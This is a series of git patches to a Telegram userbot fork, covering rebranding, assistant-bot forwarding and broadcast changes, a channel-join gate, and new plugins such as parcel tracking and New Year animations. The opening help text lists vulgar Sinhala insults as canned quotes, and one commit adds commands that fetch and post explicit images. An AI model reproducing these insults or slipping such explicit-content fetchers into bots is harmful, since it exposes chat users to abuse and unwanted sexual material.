"\n**RUN STRINGS**\n.srun - Daisy's Run Strings to VirtualUserbot 😂..\n**Funny Animations.**\n\n.fuuk\n.sux\n.kiss\n.lovestory\n.gdbye\n.hbty\n.merrychristmas\n\n**Frequently using quotes\n.hu - කවුරුන් කෙසේ කීවද ඵරුස වචන භාවිතය ඔබේ අරක පණ නැති කරවයි!\n.slo - පෝන් එක හිරවෙනවාද?? ගලක්මත තබා හොඳින් තලන්න නිසැක ප්‍රතිඵල\n.hp - හුත්තිගෙ පුතා\n.kp - කැරි පකයා\n.sm - එහෙම එවා නෑ පුතා.ඒ සෙලවෙන මනස\n.fk - පල හුත්තෝ යන්න. තෝ සමාජයට විහිලුවක් ඕයි"}) +CMD_HELP.update({"Sinhala_Jokes": "\n**RUN STRINGS**\n.srun - Daisy's Run Strings to VirtualUserbot 😂..\n\n**Funny Animations.**\n.fuuk\n.sux\n.kiss\n.lovestory\n.gdbye\n.hbty\n.merrychristmas\n\n**Frequently using quotes\n.hu - `කවුරුන් කෙසේ කීවද ඵරුස වචන භාවිතය ඔබේ අරක පණ නැති කරවයි!`\n.slo - `පෝන් එක හිරවෙනවාද?? ගලක්මත තබා හොඳින් තලන්න නිසැක ප්‍රතිඵල`\n.hp - `හුත්තිගෙ පුතා`\n.kp - `කැරි පකයා`\n.sm - `එහෙම එවා නෑ පුතා.ඒ සෙලවෙන මනස`\n.fk - `පල හුත්තෝ යන්න. තෝ සමාජයට විහිලුවක් ඕයි`"}) From f2fae7c0c2c9688775a71a73fac3e454a1bf5aef Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Thu, 31 Dec 2020 14:54:07 +0530 Subject: [PATCH 296/838] Update carbonRGB.py --- fridaybot/modules/carbonRGB.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/carbonRGB.py b/fridaybot/modules/carbonRGB.py index eeb8d36b..a964165e 100644 --- a/fridaybot/modules/carbonRGB.py +++ b/fridaybot/modules/carbonRGB.py @@ -102,7 +102,7 @@ async def carbon_api(e): await e.client.send_file( e.chat_id, file, - caption="Carbonised by [Dark-Cobra](https://github.com/DARK-COBRA/DARKCOBRA)", + caption="Carbonised by [VirtualUserbot](https://github.com/inukaasih/virtualuserbot)", force_document=False, reply_to=e.message.reply_to_msg_id, ) From 546a929d5ee3548cad6774f3e58ff77b43d068c7 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Thu, 31 Dec 2020 15:04:34 +0530 Subject: [PATCH 297/838] Update main_assistant.py --- fridaybot/modules/assistant/main_assistant.py | 60 +++++++++---------- 1 file changed, 27 insertions(+), 33 deletions(-) diff --git a/fridaybot/modules/assistant/main_assistant.py b/fridaybot/modules/assistant/main_assistant.py index cd7dcc10..8ee20c38 100644 --- a/fridaybot/modules/assistant/main_assistant.py +++ b/fridaybot/modules/assistant/main_assistant.py @@ -18,6 +18,7 @@ from telethon import Button, custom, events from telethon.tl.functions.users import GetFullUserRequest +from telethon.utils import pack_bot_file_id from fridaybot import bot from fridaybot.Configs import Config @@ -45,7 +46,7 @@ async def start(event): hmmwow = devlop.first_name vent = event.chat_id mypic = Config.ASSISTANT_START_PIC - starttext = f"Hello, {firstname} ! Nice To Meet You, Well I Am {bot_id}, An Powerfull Assistant Bot. \n\nMy Master [{hmmwow}](tg://user?id={bot.uid}) \nYou Can Talk/Contact My Master Using This Bot. \n\nIf You Want Your Own Assistant You Can Deploy From Button Below. \n\nPowered By [Friday Userbot](t.me/FridayOT)" + starttext = f"Hello, {firstname} ! Nice To Meet You, Well I Am {bot_id}, An Powerfull Assistant Bot. \n\nMy Master [{hmmwow}](tg://user?id={bot.uid}) \nYou Can Talk/Contact My Master Using This Bot. \n\nIf You Want Your Own Assistant You Can Deploy From Button Below. \n\nPowered By [Virtual Userbot](github.com/virtualuserbot)" if event.sender_id == bot.uid: await tgbot.send_message( vent, @@ -71,8 +72,8 @@ async def start(event): caption=starttext, link_preview=False, buttons=[ - [custom.Button.inline("Deploy a bot like this", data="deploy")], - [Button.url("Help Me ❓", "t.me/inukaasith")], + [custom.Button.inline("Deploy your VirtualUserbot", data="deploy")], + [Button.url("Contact Dev", "t.me/Inukaasith")], ], ) if os.path.exists(mypic): @@ -88,10 +89,10 @@ async def help(event): if event.query.user_id is not bot.uid: await tgbot.send_message( event.chat_id, - message="This is a private property. \nThank You For Contacting Me.", + message="You Can Deploy VirtualUserbot In Heroku By Following Steps Bellow, You Can See Some Quick Guides On Support Channel Or On Your Own Assistant Bot. \nThank You For Contacting Me.", buttons=[ - [Button.url("Owner", "https:/github.com/inukaasith")], - [Button.url("Need Help ❓", "t.me/inukaasith")], + [Button.url("Github Repo 📺", "https:/github.com/inukaasith/virtualuserbot")], + [Button.url("Contact Dev ❓", "t.me/inukaasith")], ], ) @@ -135,7 +136,6 @@ async def all_messages_catcher(event): return else: await event.get_sender() - event.chat_id sed = await event.forward_to(bot.uid) # Add User To Database ,Later For Broadcast Purpose # (C) @SpecHide @@ -150,24 +150,25 @@ async def sed(event): msg.id msg_s = event.raw_text user_id, reply_message_id = his_userid(msg.id) - if event.sender_id == Config.OWNER_ID: - if event.raw_text.startswith("/"): - return - if event.text is not None and event.media: - bot_api_file_id = pack_bot_file_id(event.media) - await tgbot.send_file( - user_id, - file=bot_api_file_id, - caption=event.text, - reply_to=reply_message_id, - ) - else: - msg_s = event.raw_text - await tgbot.send_message( - user_id, - msg_s, - reply_to=reply_message_id, - ) + if event.sender_id != bot.uid: + return + elif event.raw_text.startswith("/"): + return + elif event.text is not None and event.media: + bot_api_file_id = pack_bot_file_id(event.media) + await tgbot.send_file( + user_id, + file=bot_api_file_id, + caption=event.text, + reply_to=reply_message_id, + ) + else: + msg_s = event.raw_text + await tgbot.send_message( + user_id, + msg_s, + reply_to=reply_message_id, + ) @assistant_cmd("broadcast", is_args=True) @@ -187,14 +188,9 @@ async def sedlyfsir(event): for starkcast in userstobc: try: sent_count += 1 - await tgbot.send_message( - int(starkcast.chat_id), - "**Hey, You Have Received A New Broadcast Message**", - ) await tgbot.send_message(int(starkcast.chat_id), msgtobroadcast) await asyncio.sleep(0.2) - except Exception as e: - hmmok += f"Errors : {e} \n" + except: error_count += 1 await tgbot.send_message( event.chat_id, @@ -223,8 +219,6 @@ async def starkislub(event): async def starkisnoob(event): if event.sender_id == bot.uid: msg = await event.get_reply_message() - msg.id - event.raw_text user_id, reply_message_id = his_userid(msg.id) if is_he_added(user_id): await event.reply("Already Blacklisted") From 8f82a20a8e67e2a8df8e531dfdfed1e79c79b4b5 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Thu, 31 Dec 2020 15:05:36 +0530 Subject: [PATCH 298/838] Update Configs.py --- fridaybot/Configs.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/Configs.py b/fridaybot/Configs.py index a2472ee0..dd5561c5 100644 --- a/fridaybot/Configs.py +++ b/fridaybot/Configs.py @@ -158,7 +158,7 @@ class Config(object): ) ASSISTANT_START_PIC = os.environ.get( "ASSISTANT_START_PIC", - "https://www.logolynx.com/images/logolynx/72/7257d2ac93b97c8a2c7308266052df13.png", + "https://telegra.ph/file/0e7a45ed44e17ce68d8cd.png", ) TESSDATA_PREFIX = os.environ.get( "TESSDATA_PREFIX", "/usr/share/tesseract-ocr/4.00/tessdata" From 5ae1e357074a949c3d4cf67165408a00436ea3f3 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Thu, 31 Dec 2020 17:43:28 +0530 Subject: [PATCH 299/838] Create reveal.py --- fridaybot/modules/reveal.py | 32 ++++++++++++++++++++++++++++++++ 1 file changed, 32 insertions(+) create mode 100644 fridaybot/modules/reveal.py diff --git a/fridaybot/modules/reveal.py b/fridaybot/modules/reveal.py new file mode 100644 index 00000000..744fe34b --- /dev/null +++ b/fridaybot/modules/reveal.py @@ -0,0 +1,32 @@ +# (c)2020 TeleBot +# +# You may not use this plugin without proper authorship and consent from @TeleBotSupport +# +# By @buddhhu, @Itzsjdude +# +import os + +from fridaybot import CMD_HELP +from ..utils import admin_cmd, sudo_cmd + + +@bot.on(admin_cmd(pattern=r"reveal", outgoing=True)) +async def _(event): + b = await event.client.download_media(await event.get_reply_message()) + a = open(b, "r") + c = a.read() + a.close() + a = await event.reply("**Reading file...**") + if len(c) > 4095: + await a.edit("`The Total words in this file is more than telegram limits.`") + else: + await event.client.send_message(event.chat_id, f"```{c}```") + await a.delete() + os.remove(b) + + +CMD_HELP.update( + { + "reveal": ".reveal \nUse - Read contents of file and send as a telegram message." + } +) From c1ab359d467928eca20c740186a732d34de04a79 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Thu, 31 Dec 2020 23:26:15 +0530 Subject: [PATCH 300/838] HAPPY NEW YEAR FOR EVERYONE Brought the happy new year plugin before 2021 --- fridaybot/modules/happynewyear.py | 155 ++++++++++++++++++++++++++++++ 1 file changed, 155 insertions(+) create mode 100644 fridaybot/modules/happynewyear.py diff --git a/fridaybot/modules/happynewyear.py b/fridaybot/modules/happynewyear.py new file mode 100644 index 00000000..00bb3426 --- /dev/null +++ b/fridaybot/modules/happynewyear.py @@ -0,0 +1,155 @@ +#made by shivam patel +from telethon import events + +import asyncio + +from ..utils import admin_cmd +from fridaybot import bot as javes +from telethon import events + +from fridaybot import CMD_HELP +@javes.on(admin_cmd("newyear")) +async def _(event): + if event.fwd_from: + return + animation_interval = 1 + animation_ttl = range(0,80) + await event.edit("😊 HAPPY NEW YEAR 😁") + animation_chars = ["💖HAPPY NEW YEAR💖","💙HAPPY NEW YEAR💙","❤️HAPPY NEW YEAR❤️","💚HAPPY NEW YEAR💚","💜HAPPY NEW YEAR💜",] + + for i in animation_ttl: + + await asyncio.sleep(animation_interval) + await event.edit(animation_chars[i % 5]) +@javes.on(admin_cmd("happynewyear")) +async def _(event): + if event.fwd_from: + return + animation_interval = 1 + animation_ttl = range(0,22) + await event.edit("😊 HAPPY NEW YEAR TO ALL 😁") + animation_chars = ["""💜💜 💜💜 +💜💜 💜💜 +💜💜 💜💜 +💜💜 💜💜 +💜💜💜💜💜💜💜💜💜 +💜💜💜💜💜💜💜💜💜 +💜💜 💜💜 +💜💜 💜💜 +💜💜 💜💜 +💜💜 💜💜""","""ㅤㅤㅤㅤㅤ ㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤ + 💙💙 + 💙💙💙 + 💙💙💙💙 + 💙💙 💙💙 + 💙💙 💙💙 + 💙💙 💙💙 + 💙💙💙💙💙💙 + 💙💙💙💙💙💙 + 💙💙 💙💙 + 💙💙 💙💙 +💙💙 💙💙""","""💚💚💚💚💚💚💚 +💚💚💚💚💚💚💚💚 +💚💚 💚💚 +💚💚 💚💚 +💚💚💚💚💚💚💚💚 +💚💚💚💚💚💚💚 +💚💚 +💚💚 +💚💚 +💚💚""","""💛💛💛💛💛💛 +💛💛💛💛💛💛💛 +💛💛 💛💛 +💛💛 💛💛 +💛💛💛💛💛💛💛 +💛💛💛💛💛💛 +💛💛 +💛💛 +💛💛 +💛💛""","""💜💜 💜💜 + 💜💜 💜💜 + 💜💜 💜💜 + 💜💜 💜💜 + 💜💜💜 + 💜💜 + 💜💜 + 💜💜 + 💜💜 + 💜💜""", +"""😺😺 😺😺 +😺😺😺 😺😺 +😺😺😺😺 😺😺 +😺😺 😺😺 😺😺 +😺😺 😺😺 😺😺 +😺😺 😺😺 😺😺 +😺😺 😺😺 😺😺 +😺😺 😺😺😺😺 +😺😺 😺😺😺 +😺😺 😺😺 +""","""😁😁😁😁😁😁😁😁 +😁😁😁😁😁😁😁😁 +😁😁 +😁😁 +😁😁😁😁😁😁 +😁😁😁😁😁😁 +😁😁 +😁😁 +😁😁😁😁😁😁😁😁 +😁😁😁😁😁😁😁😁""", +"""🥳🥳 🥳🥳 +🥳🥳 🥳🥳 +🥳🥳 🥳🥳 +🥳🥳 🥳🥳 +🥳🥳 🥳 🥳🥳 + 🥳🥳 🥳🥳 🥳🥳 + 🥳🥳 🥳🥳🥳 🥳🥳 + 🥳🥳 🥳🥳 🥳🥳 🥳🥳 + 🥳🥳🥳🥳 🥳🥳🥳🥳 + 🥳🥳🥳 🥳🥳🥳""", +"""🌈🌈 🌈🌈 + 🌈🌈 🌈🌈 + 🌈🌈 🌈🌈 + 🌈🌈 🌈🌈 + 🌈🌈🌈 + 🌈🌈 + 🌈🌈 + 🌈🌈 + 🌈🌈 + 🌈🌈""", +"""🎊🎊🎊🎊🎊🎊🎊🎊 +🎊🎊🎊🎊🎊🎊🎊🎊 +🎊🎊 +🎊🎊 +🎊🎊🎊🎊🎊🎊 +🎊🎊🎊🎊🎊🎊 +🎊🎊 +🎊🎊 +🎊🎊🎊🎊🎊🎊🎊🎊 +🎊🎊🎊🎊🎊🎊🎊🎊""", +""" + ㅤ + 🎉🎉 + 🎉🎉🎉 + 🎉🎉 🎉🎉 + 🎉🎉 🎉🎉 + 🎉🎉 🎉🎉 + 🎉🎉🎉🎉🎉🎉 + 🎉🎉🎉🎉🎉🎉🎉 + 🎉🎉 🎉🎉 + 🎉🎉 🎉🎉 +🎉🎉 🎉🎉""", +""" +🕉🕉🕉🕉🕉🕉🕉 +🕉🕉🕉🕉🕉🕉🕉🕉 +🕉🕉 🕉🕉 +🕉🕉 🕉🕉 +🕉🕉🕉🕉🕉🕉🕉🕉 +🕉🕉🕉🕉🕉🕉🕉 +🕉🕉 🕉🕉 +🕉🕉 🕉🕉 +🕉🕉 🕉🕉 +🕉🕉 🕉🕉"""] + for i in animation_ttl: + + await asyncio.sleep(animation_interval) + await event.edit(animation_chars[i % 12]) From 59a95715c0682be181704b039e2b4fe21c240cab Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Thu, 31 Dec 2020 23:32:37 +0530 Subject: [PATCH 301/838] Update __init__.py --- fridaybot/function/__init__.py | 56 ++++++++++++++++++++++++---------- 1 file changed, 40 insertions(+), 16 deletions(-) diff --git a/fridaybot/function/__init__.py b/fridaybot/function/__init__.py index 6bec741d..45bd151e 100644 --- a/fridaybot/function/__init__.py +++ b/fridaybot/function/__init__.py @@ -1,3 +1,6 @@ +import requests +from bs4 import BeautifulSoup + import asyncio import json import math @@ -12,10 +15,17 @@ from bs4 import BeautifulSoup import requests from bs4 import BeautifulSoup as bs +import re + +import telethon +from telethon import Button, custom, events, functions from pymediainfo import MediaInfo from telethon.tl.types import MessageMediaPhoto + BASE_URL = "https://isubtitles.org" from fridaybot.Configs import Config +import zipfile +import os sedpath = Config.TMP_DOWNLOAD_DIRECTORY from fridaybot import logging @@ -41,6 +51,7 @@ async def runcmd(cmd: str) -> Tuple[str, str, int, int]: ) + async def progress(current, total, event, start, type_of_ps, file_name=None): """Generic progress_callback for uploads and downloads.""" now = time.time() @@ -91,11 +102,11 @@ def time_formatter(milliseconds: int) -> str: hours, minutes = divmod(minutes, 60) days, hours = divmod(hours, 24) tmp = ( - ((str(days) + " day(s), ") if days else "") - + ((str(hours) + " hour(s), ") if hours else "") - + ((str(minutes) + " minute(s), ") if minutes else "") - + ((str(seconds) + " second(s), ") if seconds else "") - + ((str(milliseconds) + " millisecond(s), ") if milliseconds else "") + ((str(days) + " day(s), ") if days else "") + + ((str(hours) + " hour(s), ") if hours else "") + + ((str(minutes) + " minute(s), ") if minutes else "") + + ((str(seconds) + " second(s), ") if seconds else "") + + ((str(milliseconds) + " millisecond(s), ") if milliseconds else "") ) return tmp[:-2] @@ -105,13 +116,13 @@ def time_formatter(milliseconds: int) -> str: async def convert_to_image(event, borg): lmao = await event.get_reply_message() if not ( - lmao.gif - or lmao.audio - or lmao.voice - or lmao.video - or lmao.video_note - or lmao.photo - or lmao.sticker + lmao.gif + or lmao.audio + or lmao.voice + or lmao.video + or lmao.video_note + or lmao.photo + or lmao.sticker ): await event.edit("`Format Not Supported.`") return @@ -193,7 +204,7 @@ async def crop_vid(input_vid: str, final_path: str): # Thanks To Userge-X async def take_screen_shot( - video_file: str, duration: int, path: str = "" + video_file: str, duration: int, path: str = "" ) -> Optional[str]: """ take a screenshot """ logger.info( @@ -293,8 +304,8 @@ async def get_subtitles(imdb_id, borg, event): sub_name_tag = row.find("td", class_=None) sub_name = ( str(sub_name_tag.find("a").text) - .replace("subtitle", "") - .replace("\n", "") + .replace("subtitle", "") + .replace("\n", "") ) sub = (sub_name, sub_link) subtitles.append(sub) @@ -313,6 +324,7 @@ async def get_subtitles(imdb_id, borg, event): namez = selected_sub_name return final_paths, namez, subtitles[0]["sub_link"] + # Thanks To TechoAryan For Scarpping async def apk_dl(app_name, path, event): await event.edit('`Searching, For Apk File. This May Take Time Depending On Your App Size`') @@ -331,9 +343,21 @@ async def apk_dl(app_name, path, event): result = soup2.select('.ga') for link in result: dl_link = link.get('href') - r = requests.get(dl_link) + r = requests.get(dl_link) with open(f"{path}/{name}#VirtualUserbot.apk", 'wb') as f: f.write(r.content) await event.edit('`Apk, Downloaded. Let me Upload It here.`') final_path = f'{path}/{name}#VirtualUserbot.apk' return final_path, name + +async def check_if_subbed(channel_id, event, bot): + try: + result = await bot( + functions.channels.GetParticipantRequest( + channel=channel_id, user_id=event.sender_id + ) + ) + if result.participant: + return True + except telethon.errors.rpcerrorlist.UserNotParticipantError: + return False From 28a9cb011e728089a746455b672149adc59b656e Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Thu, 31 Dec 2020 23:33:45 +0530 Subject: [PATCH 302/838] Create ekart.py --- fridaybot/modules/ekart.py | 48 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 48 insertions(+) create mode 100644 fridaybot/modules/ekart.py diff --git a/fridaybot/modules/ekart.py b/fridaybot/modules/ekart.py new file mode 100644 index 00000000..7944b6f0 --- /dev/null +++ b/fridaybot/modules/ekart.py @@ -0,0 +1,48 @@ + +from uniborg.util import friday_on_cmd +import requests +from fridaybot import CMD_HELP +from fridaybot.utils import admin_cmd + + + +@friday.on(admin_cmd(pattern="ekart (.*)")) +async def _(event): + if event.fwd_from: + return + input_str = event.pattern_match.group(1) + urlo = "https://track.aftership.com/trackings?courier=ekart&tracking-numbers=" + str(input_str) + + url = "https://ekart-api-chi.vercel.app/check?id=" + str(input_str) + r = requests.get(url) + h = r.json() + merchant = h.get("merchant_name") + order_status = h.get("order_status") + kk = h.get("updates") + oqwz = kk[0] + aq = oqwz.get("Date") + ar = oqwz.get("Time") + place = oqwz.get("Place") + status = oqwz.get("Status") + + + caption = f""" Ekart Tracking +Merchant Name:- {merchant} +Order Status:- {order_status} +Tracking Id:- {input_str} +Latest Update +Date:- {aq} +Time:- {ar} +Place:- {place} +Status:- {status} +Detailed link:- {urlo} +Ekart Search Completed By Friday. +Get Your Own Friday From @FRIDAYCHAT. +""" + await borg.send_message( + event.chat_id, + caption, + parse_mode="HTML", + ) + await event.delete() + From 2aa921133c8f34006db49cfecb4e3c5e2c44d607 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Thu, 31 Dec 2020 23:35:00 +0530 Subject: [PATCH 303/838] Update ekart.py --- fridaybot/modules/ekart.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/fridaybot/modules/ekart.py b/fridaybot/modules/ekart.py index 7944b6f0..3e8b1057 100644 --- a/fridaybot/modules/ekart.py +++ b/fridaybot/modules/ekart.py @@ -36,8 +36,8 @@ async def _(event): Place:- {place} Status:- {status} Detailed link:- {urlo} -Ekart Search Completed By Friday. -Get Your Own Friday From @FRIDAYCHAT. +Ekart Search Completed By VirtualUserbot. +Get Your Own Friday From VirtualUserbot. """ await borg.send_message( event.chat_id, From 89648aabeb8d1b2c654509cce1abc60c469b97a4 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Thu, 31 Dec 2020 23:40:11 +0530 Subject: [PATCH 304/838] Happy New Year 2021 --- fridaybot/modules/assistant/main_assistant.py | 23 ++++++++++++++----- 1 file changed, 17 insertions(+), 6 deletions(-) diff --git a/fridaybot/modules/assistant/main_assistant.py b/fridaybot/modules/assistant/main_assistant.py index 8ee20c38..089d1ad7 100644 --- a/fridaybot/modules/assistant/main_assistant.py +++ b/fridaybot/modules/assistant/main_assistant.py @@ -16,7 +16,8 @@ import os import re -from telethon import Button, custom, events +from telethon import Button, custom, events, functions +import telethon from telethon.tl.functions.users import GetFullUserRequest from telethon.utils import pack_bot_file_id @@ -34,7 +35,6 @@ get_all_users, ) - @assistant_cmd("start", is_args=False) async def start(event): starkbot = await tgbot.get_me() @@ -46,7 +46,7 @@ async def start(event): hmmwow = devlop.first_name vent = event.chat_id mypic = Config.ASSISTANT_START_PIC - starttext = f"Hello, {firstname} ! Nice To Meet You, Well I Am {bot_id}, An Powerfull Assistant Bot. \n\nMy Master [{hmmwow}](tg://user?id={bot.uid}) \nYou Can Talk/Contact My Master Using This Bot. \n\nIf You Want Your Own Assistant You Can Deploy From Button Below. \n\nPowered By [Virtual Userbot](github.com/virtualuserbot)" + starttext = f"Hello, {firstname} ! Nice To Meet You, Well I Am {bot_id}, An Powerfull Assistant Bot. \n\nMy Master [{hmmwow}](tg://user?id={bot.uid}) \nYou Can Talk/Contact My Master Using This Bot. \n\nIf You Want Your Own Assistant You Can Deploy From Button Below. \n\nPowered By [VirtualUserbot](github.com/inukaasith/virtualuserbot)" if event.sender_id == bot.uid: await tgbot.send_message( vent, @@ -73,7 +73,7 @@ async def start(event): link_preview=False, buttons=[ [custom.Button.inline("Deploy your VirtualUserbot", data="deploy")], - [Button.url("Contact Dev", "t.me/Inukaasith")], + [Button.url("Contact Dev ❓", "t.me/inukaasith")], ], ) if os.path.exists(mypic): @@ -91,8 +91,8 @@ async def help(event): event.chat_id, message="You Can Deploy VirtualUserbot In Heroku By Following Steps Bellow, You Can See Some Quick Guides On Support Channel Or On Your Own Assistant Bot. \nThank You For Contacting Me.", buttons=[ - [Button.url("Github Repo 📺", "https:/github.com/inukaasith/virtualuserbot")], - [Button.url("Contact Dev ❓", "t.me/inukaasith")], + [Button.url("Deploy Tutorial 📺", "https://youtu.be/xfHcm_e92eQ")], + [Button.url("Github Repo ❓", "github.com/inukaasith/virtualuserbot")], ], ) @@ -128,6 +128,17 @@ async def users(event): # Bot Permit. @tgbot.on(events.NewMessage(func=lambda e: e.is_private)) async def all_messages_catcher(event): + if Config.SUB_TO_MSG_ASSISTANT: + try: + result = await tgbot( + functions.channels.GetParticipantRequest( + channel=Config.JTM_CHANNEL_ID, user_id=event.sender_id + ) + ) + except telethon.errors.rpcerrorlist.UserNotParticipantError: + await event.reply(f"**Opps, I Couldn't Forward That Message To Owner. Please Join My Channel First And Then Try Again!**", + buttons = [Button.url("Join Channel ", Config.JTM_CHANNEL_USERNAME)]) + return if is_he_added(event.sender_id): return if event.raw_text.startswith("/"): From 4880a90501fcc970452ce9ae0f8d787d986871a2 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Thu, 31 Dec 2020 23:43:12 +0530 Subject: [PATCH 305/838] Happy new year guys.. See you in 2021 --- fridaybot/Configs.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/fridaybot/Configs.py b/fridaybot/Configs.py index dd5561c5..f2c0c245 100644 --- a/fridaybot/Configs.py +++ b/fridaybot/Configs.py @@ -137,12 +137,15 @@ class Config(object): LYDIA_API = os.environ.get("LYDIA_API", None) PRIVATE_GROUP_ID = int(os.environ.get("PRIVATE_GROUP_ID", False)) PLUGIN_CHANNEL = int(os.environ.get("PLUGIN_CHANNEL", False)) - NEWS_CHANNEL_ID = int(os.environ.get("NEWS_CHANNEL_ID", False)) + SUB_TO_MSG_ASSISTANT = os.environ.get("SUB_TO_MSG_ASSISTANT", False) + NEWS_CHANNEL_ID = int(os.environ.get("NEWS_CHANNEL_ID", False)) FBAN_GROUP = int(os.environ.get("FBAN_GROUP", False)) PM_DATA = os.environ.get("PM_DATA", "ENABLE") DEEP_AI = os.environ.get("DEEP_AI", None) ENABLE_ASSISTANTBOT = os.environ.get("ENABLE_ASSISTANTBOT", "ENABLE") TAG_FEATURE = os.environ.get("TAG_FEATURE", "DISABLE") + JTM_CHANNEL_ID = int(os.environ.get("JTM_CHANNEL_ID", False)) + JTM_CHANNEL_USERNAME = os.environ.get("JTM_CHANNEL_USERNAME", None) ANTISPAM_FEATURE = os.environ.get("ANTISPAM_FEATURE", "ENABLE") ASSISTANT_LOG = int(os.environ.get("ASSISTANT_LOG", False)) OPEN_LOAD_LOGIN = os.environ.get("OPEN_LOAD_LOGIN", None) From 0b72c7a6db50692f2af7bfa747f680768662b1fd Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 1 Jan 2021 07:53:01 +0530 Subject: [PATCH 306/838] Update seotools.py --- fridaybot/modules/seotools.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/seotools.py b/fridaybot/modules/seotools.py index 7901bb3f..445c974d 100644 --- a/fridaybot/modules/seotools.py +++ b/fridaybot/modules/seotools.py @@ -23,7 +23,7 @@ async def _(event): await event.client.send_file( event.chat_id, "seo.html", - caption=f"**Site SEO Analysed Successfully\n\nNote: Open This File With Chrome Or Any Browser\n\n\nSite Analysed By Friday\nGet Your Friday From** @FRIDAYCHAT", + caption=f"**Site SEO Analysed Successfully\n\nNote: Open This File With Chrome Or Any Browser\n\n\nSite Analysed By VirtualUserbot\nGet Your superpowers With** [VirtualUserbot](github.com/inukaasith/virtualuserbot)", ) com = "rm seo.html" os.system(com) From dd2171a031751ba06581a44120d9ce02482b2358 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 1 Jan 2021 08:21:54 +0530 Subject: [PATCH 307/838] Nothing To Say.. --- fridaybot/modules/adultzone.py | 38 ++++++++++++++++++++++++++++++++++ 1 file changed, 38 insertions(+) create mode 100644 fridaybot/modules/adultzone.py diff --git a/fridaybot/modules/adultzone.py b/fridaybot/modules/adultzone.py new file mode 100644 index 00000000..ddffde7e --- /dev/null +++ b/fridaybot/modules/adultzone.py @@ -0,0 +1,38 @@ +#credits to userge +#ported to Hellbot by @kraken_the_badass +#will be adding more soon + +import os, urllib, requests, asyncio +from ..utils import admin_cmd,edit_or_reply, sudo_cmd + +@bot.on(admin_cmd("boobs$")) +@bot.on(sudo_cmd(pattern="boobs$", allow_sudo=True)) +async def boobs(event): + if not os.path.isdir(Var.TEMP_DOWNLOAD_DIRECTORY): + os.makedirs(Var.TEMP_DOWNLOAD_DIRECTORY) + pic_loc = os.path.join(Var.TEMP_DOWNLOAD_DIRECTORY, "bobs.jpg") + a = await event.reply("Finding some big boobs for u 🧐") + await asyncio.sleep(0.5) + await a.edit("Sending some big boobs🤪") + nsfw = requests.get('http://api.oboobs.ru/noise/1').json()[0]["preview"] + urllib.request.urlretrieve("http://media.oboobs.ru/{}".format(nsfw), pic_loc) + await event.client.send_file(event.chat_id, pic_loc, force_document=False) + os.remove(pic_loc) + await event.delete() + await a.delete() + +@bot.on(admin_cmd("butts$")) +@bot.on(sudo_cmd(pattern="butts$", allow_sudo=True)) +async def butts(event): + if not os.path.isdir(Var.TEMP_DOWNLOAD_DIRECTORY): + os.makedirs(Var.TEMP_DOWNLOAD_DIRECTORY) + pic_loc = os.path.join(Var.TEMP_DOWNLOAD_DIRECTORY, "butts.jpg") + a = await event.reply("Finding some beautiful butts for u🧐") + await asyncio.sleep(0.5) + await a.edit("Sending some beautiful butts🤪") + nsfw = requests.get('http://api.obutts.ru/noise/1').json()[0]["preview"] + urllib.request.urlretrieve("http://media.obutts.ru/{}".format(nsfw), pic_loc) + await event.client.send_file(event.chat_id, pic_loc, force_document=False) + os.remove(pic_loc) + await event.delete() + await a.delete() From f3f10853d100626d03731ad931943db210b1c16a Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 1 Jan 2021 09:35:34 +0530 Subject: [PATCH 308/838] Update songs.py --- fridaybot/modules/songs.py | 54 +++++++++++++++++++++++++++++++++++++- 1 file changed, 53 insertions(+), 1 deletion(-) diff --git a/fridaybot/modules/songs.py b/fridaybot/modules/songs.py index 9cacf009..a5c06f33 100644 --- a/fridaybot/modules/songs.py +++ b/fridaybot/modules/songs.py @@ -171,8 +171,58 @@ async def nope(doit): silent=True if doit.is_reply else False, hide_via=True) await doit.delete() + + +@borg.on(admin_cmd(pattern="gaana ?(.*)")) +async def FindMusicPleaseBot(gaana): + + song = gaana.pattern_match.group(1) + + chat = "@FindMusicPleaseBot" + + if not song: + + return await gaana.edit("```what should i search```") + + await gaana.edit("```Getting Your Music```") + + await asyncio.sleep(2) + + async with bot.conversation(chat) as conv: + + await gaana.edit("`Downloading...Please wait`") + + try: + + msg = await conv.send_message(song) + + response = await conv.get_response() + + if response.text.startswith("Sorry"): + + await bot.send_read_acknowledge(conv.chat_id) + + return await gaana.edit(f"Sorry, can't find {song}") + + respond = await conv.get_response() + + cobra = await conv.get_response() + + except YouBlockedUserError: + + await gaana.edit("```Please unblock``` @FindmusicpleaseBot``` and try again```") + + return + + await gaana.edit("`Sending Your Music...wait!!! 😉😎`") + await bot.send_file(gaana.chat_id, cobra) + + await bot.send_read_acknowledge(conv.chat_id) + await gaana.delete() + + CMD_HELP.update( { @@ 